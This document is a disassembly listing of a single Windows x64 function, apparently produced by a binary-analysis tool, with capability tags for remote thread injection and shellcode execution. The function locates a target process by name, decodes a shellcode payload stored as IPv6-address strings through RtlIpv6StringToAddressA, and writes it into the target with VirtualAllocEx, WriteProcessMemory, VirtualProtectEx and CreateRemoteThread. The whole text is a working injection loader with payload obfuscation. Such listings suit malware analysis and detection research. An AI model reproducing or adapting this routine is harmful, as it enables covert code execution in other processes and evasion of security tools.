Function at 0x1400012d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x80
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor r15d, r15d
mov ebx, ecx
mov rdi, rdx
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x50], r15d
lea ecx, [r15 + 0x3c]
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 2
jge 0x140001324
mov rdx, qword [rdi]
lea rcx, str.____Usage_:___s___Process_Name___n
call fcn.140001010
lea eax, [r15 - 1]
jmp 0x14000166c
mov rdx, qword [rdi + 8]
lea rcx, str._i__Searching_For_Process_Id_Of___s__...
call fcn.140001010
mov rcx, qword [rdi + 8]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
call fcn.1400010d0
test eax, eax
jne 0x140001361
lea rcx, str.____Process_is_Not_Found__n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x14000166c
mov qword [rsp + 0xa0], rbp
lea rcx, str.___DONE__n
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x70], r14
call fcn.140001010
mov edx, dword [rsp + 0x50]
lea rcx, str._i__Found_Target_Process_Pid:__d__n
call fcn.140001070
lea rcx, str.___Press__Enter__To_Decrypt_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str._i__Decrypting_...
call fcn.140001070
lea rcx, str.NTDLL
mov qword [rsp + 0x48], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlIpv6StringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
jne 0x1400013f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001070
jmp 0x14000164d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x1d0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x140001430
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d__n
call fcn.140001070
jmp 0x14000164d
lea r12, str.FC48:83E4:F0E8:C000:0000:4151:4150:5251
mov rdi, r14
mov rsi, r12
mov ebx, r15d
mov rcx, qword [rsi]
lea rdx, [rsp + 0x48]
mov r8, rdi
call rbp
test eax, eax
jne 0x140001637
add rdi, 0x10
inc ebx
add rsi, 8
cmp ebx, 0x1d
jb 0x140001440
lea rcx, str.___DONE___n
call fcn.140001070
mov r8d, 0x1d0
lea rcx, str._i__Deobfuscated_Payload_At_:_0x_p_Of_Size_:__d__n
mov rdx, r14
call fcn.140001070
mov rbx, qword [rsp + 0x40]
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x58], r15
mov r9d, 0x3000
mov dword [rsp + 0x50], r15d
mov r8d, 0x1d0
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x1400014d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx_Failed_With_Error_:__d__n
call fcn.140001070
jmp 0x14000164d
mov rdx, rdi
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.140001070
lea rcx, str.___Press__Enter__To_Write_Payload_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rax, [rsp + 0x58]
mov r9d, 0x1d0
mov r8, r14
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001621
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x1d0
jne 0x140001621
lea rcx, str._i__Successfully_Written__d_Bytes_n
call fcn.140001070
xor edx, edx
mov r8d, 0x1d0
mov rcx, r14
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x50]
mov r9d, 0x40
mov r8d, 0x1d0
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140001589
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtectEx_Failed_With_Error_:__d__n
call fcn.140001070
jmp 0x14000164d
lea rcx, str.___Press__Enter__To_Run_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str._i__Executing_Payload_...
call fcn.140001070
mov qword [rsp + 0x30], r15
mov r9, rdi
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1400015e2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateRemoteThread_Failed_With_Error_:__d__n
call fcn.140001070
jmp 0x14000164d
lea rcx, str.___DONE___n
call fcn.140001070
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x140001652
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteProcessMemory_Failed_With_Error_:__d__n
call fcn.140001070
jmp 0x14000164d
movsxd rdx, ebx
lea rcx, str.____RtlIpv6StringToAddressA_Failed_At___s__With_Error_0x_0.8X_n
mov r8d, eax
mov rdx, qword [r12 + rdx*8]
call fcn.140001070
mov eax, 0xffffffff
mov r12, qword [rsp + 0x78]
mov rsi, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa0]
mov r14, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400016a0
add rsp, 0x80
pop r15
pop rdi
pop rbx
ret